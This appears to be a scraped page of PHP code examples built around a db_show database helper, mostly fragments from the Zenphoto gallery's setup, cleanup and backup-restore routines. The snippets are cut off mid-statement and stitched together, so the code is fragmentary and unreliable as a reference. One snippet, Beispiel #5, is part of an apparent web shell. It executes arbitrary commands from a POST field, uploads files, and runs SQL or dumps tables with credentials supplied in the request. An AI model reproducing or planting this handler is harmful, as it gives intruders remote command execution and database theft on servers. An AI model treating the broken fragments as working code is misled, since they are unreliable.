/**
 * Returns a list of database tables for the installation
 * @return type
 */
function getDBTables()
{
    $tables = array();
    $prefix = trim(prefix(), '`');
    $resource = db_show('tables');
    if ($resource) {
        $result = array();
        while ($row = db_fetch_assoc($resource)) {
            $table = array_shift($row);
            $table = substr($table, strlen($prefix));
            $tables[] = $table;
        }
        db_free_result($resource);
    }
    return $tables;
}
function db_list_fields($table)
{
    $result = db_show('columns', $table);
    if (is_object($result)) {
        $fields = array();
        while ($row = db_fetch_assoc($result)) {
            $fields[] = $row;
        }
        return $fields;
    } else {
        return false;
    }
}
Beispiel #3
0
    $dbmsg = gettext("database connected");
}
// system check
if (file_exists(SERVERPATH . '/' . DATA_FOLDER . '/' . CONFIGFILE)) {
    require SERVERPATH . '/' . DATA_FOLDER . '/' . CONFIGFILE;
    require_once dirname(dirname(__FILE__)) . '/functions.php';
    $task = '';
    if (isset($_GET['create'])) {
        $task = 'create';
        $create = array_flip(explode(',', sanitize($_GET['create'])));
    }
    if (isset($_GET['update'])) {
        $task = 'update';
    }
    if (db_connect($_zp_conf_vars) && empty($task)) {
        $result = db_show('tables');
        $tables = array();
        $prefix = $_zp_conf_vars['mysql_prefix'];
        $prefixLC = strtolower($prefix);
        $prefixUC = strtoupper($prefixLC);
        if ($result) {
            while ($row = db_fetch_row($result)) {
                $key = $row[0];
                $key = str_replace(array($prefixLC, $prefixUC), $_zp_conf_vars['mysql_prefix'], $key);
                $tables[$key] = 'update';
            }
            db_free_result($result);
        }
        $expected_tables = array($_zp_conf_vars['mysql_prefix'] . 'options', $_zp_conf_vars['mysql_prefix'] . 'albums', $_zp_conf_vars['mysql_prefix'] . 'images', $_zp_conf_vars['mysql_prefix'] . 'comments', $_zp_conf_vars['mysql_prefix'] . 'administrators', $_zp_conf_vars['mysql_prefix'] . 'admin_to_object', $_zp_conf_vars['mysql_prefix'] . 'tags', $_zp_conf_vars['mysql_prefix'] . 'obj_to_tag', $_zp_conf_vars['mysql_prefix'] . 'captcha', $_zp_conf_vars['mysql_prefix'] . 'pages', $_zp_conf_vars['mysql_prefix'] . 'news2cat', $_zp_conf_vars['mysql_prefix'] . 'news_categories', $_zp_conf_vars['mysql_prefix'] . 'news', $_zp_conf_vars['mysql_prefix'] . 'menu', $_zp_conf_vars['mysql_prefix'] . 'plugin_storage', $_zp_conf_vars['mysql_prefix'] . 'search_cache');
        // v1.3.2 handle zenpage table name change transition:
        //				if the old table exists it gets updated instead of a new one being created
 }
 $unique = $tables = array();
 $table_cleared = array();
 if (is_array($result)) {
     foreach ($result as $row) {
         extendExecution();
         $table = array_shift($row);
         $tables[$table] = array();
         $table_cleared[$table] = false;
         $result2 = db_list_fields(substr($table, $prefixLen));
         if (is_array($result2)) {
             foreach ($result2 as $row) {
                 $tables[$table][] = $row['Field'];
             }
         }
         $result2 = db_show('index', $table);
         if (is_array($result2)) {
             foreach ($result2 as $row) {
                 if (is_array($row)) {
                     if (array_key_exists('Non_unique', $row) && !$row['Non_unique']) {
                         $unique[$table][] = $row['Column_name'];
                     }
                 }
             }
         }
     }
 }
 $errors = array();
 $string = getrow($handle);
 while (substr($string, 0, strlen(HEADER)) == HEADER) {
     $string = substr($string, strlen(HEADER));
Beispiel #5
0
     $res = "Function under construction!!!!!!!!!";
 } elseif ($_POST['b_run']) {
     chdir($_POST['wdir']);
     $dir = getcwd();
     $res = ex($_POST['cmd']);
 } elseif ($_POST['b_f_file']) {
     chdir($_POST['wdir']);
     $dir = getcwd();
     $res = ex("whereis " . $_POST['ffile']);
 } elseif ($_POST['b_upload']) {
     $s = "Uploading file " . $_POST['lfilename'] . " use the " . $box;
     $res = up_file($_POST['lfilename'], $_POST['tfilename'], $_POST['box']);
 } elseif ($_POST['b_mydb']) {
     //Выводим список БД
     $s = "show_exists_db";
     $res = db_show($_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_runsql']) {
     //Выполняем SQL запрос
     $s = "SQL: " . $sql;
     $res = run_sql($_POST['sql'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_base']) {
     //Выводим список таблиц
     $s = "show_exists_tables";
     $res = show_tables($_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_table']) {
     //Выводим дамп таблицы
     $s = "Dump of " . $_POST['tablename'];
     $tablename = $_POST['tablename'];
     if ($tablename != "") {
         $res = dump_table($_POST['tablename'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
     } else {
function db_list_fields($table)
{
    global $tableFields;
    if (!isset($tableFields[$table])) {
        $tableFields[$table] = array();
        $result = db_show('columns', $table);
        if ($result) {
            while ($row = db_fetch_assoc($result)) {
                $tableFields[$table][] = $row;
            }
        }
    }
    return $tableFields[$table];
}
        ?>
							<li><?php 
        echo $row['Variable_name'];
        ?>
: <strong><?php 
        echo $row['Value'];
        ?>
</strong></li>
							<?php 
    }
}
?>
				</ul>
				<ul>
					<?php 
$result = db_show('variables', 'collation%');
if (is_array($result)) {
    foreach ($result as $row) {
        ?>
							<li><?php 
        echo $row['Variable_name'];
        ?>
: <strong><?php 
        echo $row['Value'];
        ?>
</strong></li>
							<?php 
    }
}
?>
				</ul>
function db_list_fields($table, $raw = false)
{
    $result = db_show('columns', $table);
    if ($result) {
        $fields = array();
        while ($row = db_fetch_assoc($result)) {
            if ($raw) {
                $fields[] = $row;
            } else {
                $fields[] = array('Collation' => 'utf8_unicode_ci', 'Field' => $row['name'], 'Default' => $row['dflt_value'], 'Type' => $row['type']);
            }
        }
        return $fields;
    } else {
        return false;
    }
}
Beispiel #9
0
 /** For every album in the gallery, look for its file. Delete from the database
  * if the file does not exist. Do the same for images. Clean up comments that have
  * been left orphaned.
  *
  * Returns true if the operation was interrupted because it was taking too long
  *
  * @param bool $cascade garbage collect every image and album in the gallery.
  * @param bool $complete garbage collect every image and album in the *database* - completely cleans the database.
  * @param  int $restart Image ID to restart scan from
  * @return bool
  */
 function garbageCollect($cascade = true, $complete = false, $restart = '')
 {
     global $_zp_gallery, $_zp_authority;
     if (empty($restart)) {
         setOption('last_garbage_collect', time());
         /* purge old search cache items */
         $sql = 'DELETE FROM ' . prefix('search_cache');
         if (!$complete) {
             $sql .= ' WHERE `date`<' . db_quote(date('Y-m-d H:m:s', time() - SEARCH_CACHE_DURATION * 60));
         }
         $result = query($sql);
         /* clean the comments table */
         $this->commentClean('images');
         $this->commentClean('albums');
         $this->commentClean('news');
         $this->commentClean('pages');
         // clean up obj_to_tag
         $dead = array();
         $result = query("SELECT * FROM " . prefix('obj_to_tag'));
         if ($result) {
             while ($row = db_fetch_assoc($result)) {
                 $tbl = $row['type'];
                 $dbtag = query_single_row("SELECT `id` FROM " . prefix('tags') . " WHERE `id`='" . $row['tagid'] . "'", false);
                 if (!$dbtag) {
                     $dead[] = $row['id'];
                 }
                 $dbtag = query_single_row("SELECT `id` FROM " . prefix($tbl) . " WHERE `id`='" . $row['objectid'] . "'", false);
                 if (!$dbtag) {
                     $dead[] = $row['id'];
                 }
             }
             db_free_result($result);
         }
         if (!empty($dead)) {
             $dead = array_unique($dead);
             query('DELETE FROM ' . prefix('obj_to_tag') . ' WHERE `id`=' . implode(' OR `id`=', $dead));
         }
         // clean up admin_to_object
         $dead = array();
         $result = query("SELECT * FROM " . prefix('admin_to_object'));
         if ($result) {
             while ($row = db_fetch_assoc($result)) {
                 if (!$_zp_authority->validID($row['adminid'])) {
                     $dead[] = $row['id'];
                 }
                 $tbl = $row['type'];
                 $dbtag = query_single_row("SELECT `id` FROM " . prefix($tbl) . " WHERE `id`='" . $row['objectid'] . "'", false);
                 if (!$dbtag) {
                     $dead[] = $row['id'];
                 }
             }
             db_free_result($result);
         }
         if (!empty($dead)) {
             $dead = array_unique($dead);
             query('DELETE FROM ' . prefix('admin_to_object') . ' WHERE `id`=' . implode(' OR `id`=', $dead));
         }
         // clean up news2cat
         $dead = array();
         $result = query("SELECT * FROM " . prefix('news2cat'));
         if ($result) {
             while ($row = db_fetch_assoc($result)) {
                 $dbtag = query_single_row("SELECT `id` FROM " . prefix('news') . " WHERE `id`='" . $row['news_id'] . "'", false);
                 if (!$dbtag) {
                     $dead[] = $row['id'];
                 }
                 $dbtag = query_single_row("SELECT `id` FROM " . prefix('news_categories') . " WHERE `id`='" . $row['cat_id'] . "'", false);
                 if (!$dbtag) {
                     $dead[] = $row['id'];
                 }
             }
             db_free_result($result);
         }
         if (!empty($dead)) {
             $dead = array_unique($dead);
             query('DELETE FROM ' . prefix('news2cat') . ' WHERE `id`=' . implode(' OR `id`=', $dead));
         }
         // Check for the existence albums
         $dead = array();
         $live = array('');
         // purge the root album if it exists
         $deadalbumthemes = array();
         // Load the albums from disk
         $result = query("SELECT * FROM " . prefix('albums'));
         while ($row = db_fetch_assoc($result)) {
             $albumpath = internalToFilesystem($row['folder']);
             $albumpath_valid = preg_replace('~/\\.*/~', '/', $albumpath);
             $albumpath_valid = ltrim(trim($albumpath_valid, '/'), './');
             $illegal = $albumpath != $albumpath_valid;
             $valid = file_exists(ALBUM_FOLDER_SERVERPATH . $albumpath_valid) && (hasDynamicAlbumSuffix($albumpath_valid) || is_dir(ALBUM_FOLDER_SERVERPATH . $albumpath_valid));
             if ($valid && $illegal) {
                 // maybe there is only one record so we can fix it.
                 $valid = query('UPDATE ' . prefix('albums') . ' SET `folder`=' . db_quote($albumpath_valid) . ' WHERE `id`=' . $row['id'], false);
                 debugLog(sprintf(gettext('Invalid album folder: %1$s %2$s'), $albumpath, $valid ? gettext('fixed') : gettext('discarded')));
             }
             if (!$valid || in_array($row['folder'], $live)) {
                 $dead[] = $row['id'];
                 if ($row['album_theme'] !== '') {
                     // orphaned album theme options table
                     $deadalbumthemes[$row['id']] = $row['folder'];
                 }
             } else {
                 $live[] = $row['folder'];
             }
         }
         db_free_result($result);
         if (count($dead) > 0) {
             /* delete the dead albums from the DB */
             asort($dead);
             $criteria = '(' . implode(',', $dead) . ')';
             $first = array_pop($dead);
             $sql1 = "DELETE FROM " . prefix('albums') . " WHERE `id` IN {$criteria}";
             $n = query($sql1);
             if (!$complete && $n && $cascade) {
                 $sql2 = "DELETE FROM " . prefix('images') . " WHERE `albumid` IN {$criteria}";
                 query($sql2);
                 $sql3 = "DELETE FROM " . prefix('comments') . " WHERE `type`='albums' AND `ownerid` IN {$criteria}";
                 query($sql3);
                 $sql4 = "DELETE FROM " . prefix('obj_to_tag') . " WHERE `type`='albums' AND `objectid` IN {$criteria}";
                 query($sql4);
             }
         }
         if (count($deadalbumthemes) > 0) {
             // delete the album theme options tables for dead albums
             foreach ($deadalbumthemes as $id => $deadtable) {
                 $sql = 'DELETE FROM ' . prefix('options') . ' WHERE `ownerid`=' . $id;
                 query($sql, false);
             }
         }
     }
     if ($complete) {
         if (empty($restart)) {
             /* check album parent linkage */
             $albums = $_zp_gallery->getAlbums();
             foreach ($albums as $album) {
                 checkAlbumParentid($album, NULL, 'debuglog');
             }
             /* refresh 'metadata' albums */
             $albumids = query("SELECT `id`, `mtime`, `folder`, `dynamic` FROM " . prefix('albums'));
             if ($albumids) {
                 while ($analbum = db_fetch_assoc($albumids)) {
                     if (($mtime = filemtime(ALBUM_FOLDER_SERVERPATH . internalToFilesystem($analbum['folder']))) > $analbum['mtime']) {
                         // refresh
                         $album = newAlbum($analbum['folder']);
                         $album->set('mtime', $mtime);
                         if ($this->getAlbumUseImagedate()) {
                             $album->setDateTime(NULL);
                         }
                         if ($album->isDynamic()) {
                             $data = file_get_contents($album->localpath);
                             $thumb = getOption('AlbumThumbSelect');
                             $words = $fields = '';
                             while (!empty($data)) {
                                 $data1 = trim(substr($data, 0, $i = strpos($data, "\n")));
                                 if ($i === false) {
                                     $data1 = $data;
                                     $data = '';
                                 } else {
                                     $data = substr($data, $i + 1);
                                 }
                                 if (strpos($data1, 'WORDS=') !== false) {
                                     $words = "words=" . urlencode(substr($data1, 6));
                                 }
                                 if (strpos($data1, 'THUMB=') !== false) {
                                     $thumb = trim(substr($data1, 6));
                                 }
                                 if (strpos($data1, 'FIELDS=') !== false) {
                                     $fields = "&searchfields=" . trim(substr($data1, 7));
                                 }
                             }
                             if (!empty($words)) {
                                 if (empty($fields)) {
                                     $fields = '&searchfields=tags';
                                 }
                             }
                             $album->set('search_params', $words . $fields);
                             $album->set('thumb', $thumb);
                         }
                         $album->save();
                         zp_apply_filter('album_refresh', $album);
                     }
                 }
                 db_free_result($albumids);
             }
             /* Delete all image entries that don't belong to an album at all. */
             $albumids = query("SELECT `id` FROM " . prefix('albums'));
             /* all the album IDs */
             $idsofalbums = array();
             if ($albumids) {
                 while ($row = db_fetch_assoc($albumids)) {
                     $idsofalbums[] = $row['id'];
                 }
                 db_free_result($albumids);
             }
             $imageAlbums = query("SELECT DISTINCT `albumid` FROM " . prefix('images'));
             /* albumids of all the images */
             $albumidsofimages = array();
             if ($imageAlbums) {
                 while ($row = db_fetch_assoc($imageAlbums)) {
                     $albumidsofimages[] = $row['albumid'];
                 }
                 db_free_result($imageAlbums);
             }
             $orphans = array_diff($albumidsofimages, $idsofalbums);
             /* albumids of images with no album */
             if (count($orphans) > 0) {
                 /* delete dead images from the DB */
                 $sql = "DELETE FROM " . prefix('images') . " WHERE ";
                 foreach ($orphans as $id) {
                     if (is_null($id)) {
                         $sql .= "`albumid` is NULL OR ";
                     } else {
                         $sql .= " `albumid`='" . $id . "' OR ";
                     }
                 }
                 $sql = substr($sql, 0, -4);
                 query($sql);
                 // Then go into existing albums recursively to clean them... very invasive.
                 foreach ($this->getAlbums(0) as $folder) {
                     $album = newAlbum($folder);
                     if (!$album->isDynamic()) {
                         if (is_null($album->getDateTime())) {
                             // see if we can get one from an image
                             $images = $album->getImages(0, 0);
                             if (count($images) > 0) {
                                 $image = newImage($album, array_shift($images));
                                 $album->setDateTime($image->getDateTime());
                                 $album->save();
                             }
                         }
                         $album->garbageCollect(true);
                     }
                     zp_apply_filter('album_refresh', $album);
                 }
             }
         }
         /* Look for image records where the file no longer exists. While at it, check for images with IPTC data to update the DB */
         $start = array_sum(explode(" ", microtime()));
         // protect against too much processing.
         if (!empty($restart)) {
             $restartwhere = ' WHERE `id`>' . $restart . ' AND `mtime`=0';
         } else {
             $restartwhere = ' WHERE `mtime`=0';
         }
         define('RECORD_LIMIT', 5);
         $sql = 'SELECT * FROM ' . prefix('images') . $restartwhere . ' ORDER BY `id` LIMIT ' . (RECORD_LIMIT + 2);
         $images = query($sql);
         if ($images) {
             $c = 0;
             while ($image = db_fetch_assoc($images)) {
                 $albumobj = getItemByID('albums', $image['albumid']);
                 if ($albumobj->exists && file_exists($imageName = internalToFilesystem(ALBUM_FOLDER_SERVERPATH . $albumobj->name . '/' . $image['filename']))) {
                     if ($image['mtime'] != ($mtime = filemtime($imageName))) {
                         // file has changed since we last saw it
                         $imageobj = newImage($albumobj, $image['filename']);
                         $imageobj->set('mtime', $mtime);
                         $imageobj->updateMetaData();
                         // prime the EXIF/IPTC fields
                         $imageobj->updateDimensions();
                         // update the width/height & account for rotation
                         $imageobj->save();
                         zp_apply_filter('image_refresh', $imageobj);
                     }
                 } else {
                     $sql = 'DELETE FROM ' . prefix('images') . ' WHERE `id`="' . $image['id'] . '";';
                     $result = query($sql);
                     $sql = 'DELETE FROM ' . prefix('comments') . ' WHERE `type` IN (' . zp_image_types('"') . ') AND `ownerid` ="' . $image['id'] . '";';
                     $result = query($sql);
                 }
                 if (++$c >= RECORD_LIMIT) {
                     return $image['id'];
                     // avoide excessive processing
                 }
             }
             db_free_result($images);
         }
         // cleanup the tables
         $resource = db_show('tables');
         if ($resource) {
             while ($row = db_fetch_assoc($resource)) {
                 $tbl = array_shift($row);
                 query('OPTIMIZE TABLE `' . $tbl . '`');
             }
             db_free_result($resource);
         }
     }
     return false;
 }
		<?php 
    }
} else {
    if (isset($_REQUEST['restore']) && db_connect()) {
        $oldlibauth = $_zp_authority->getVersion();
        $success = 1;
        if (isset($_REQUEST['backupfile'])) {
            $file_version = 0;
            $compression_handler = 'gzip';
            $folder = SERVERPATH . '/' . BACKUPFOLDER . '/';
            $filename = $folder . internalToFilesystem(sanitize($_REQUEST['backupfile'], 3)) . '.zdb';
            if (file_exists($filename)) {
                $handle = fopen($filename, 'r');
                if ($handle !== false) {
                    $prefix = prefix();
                    $resource = db_show('tables');
                    if ($resource) {
                        $result = array();
                        while ($row = db_fetch_assoc($resource)) {
                            $result[] = $row;
                        }
                    } else {
                        $result = false;
                    }
                    $tables = array();
                    $table_cleared = array();
                    if (is_array($result)) {
                        foreach ($result as $row) {
                            $table = array_shift($row);
                            $tables[$table] = array();
                            $table_cleared[$table] = false;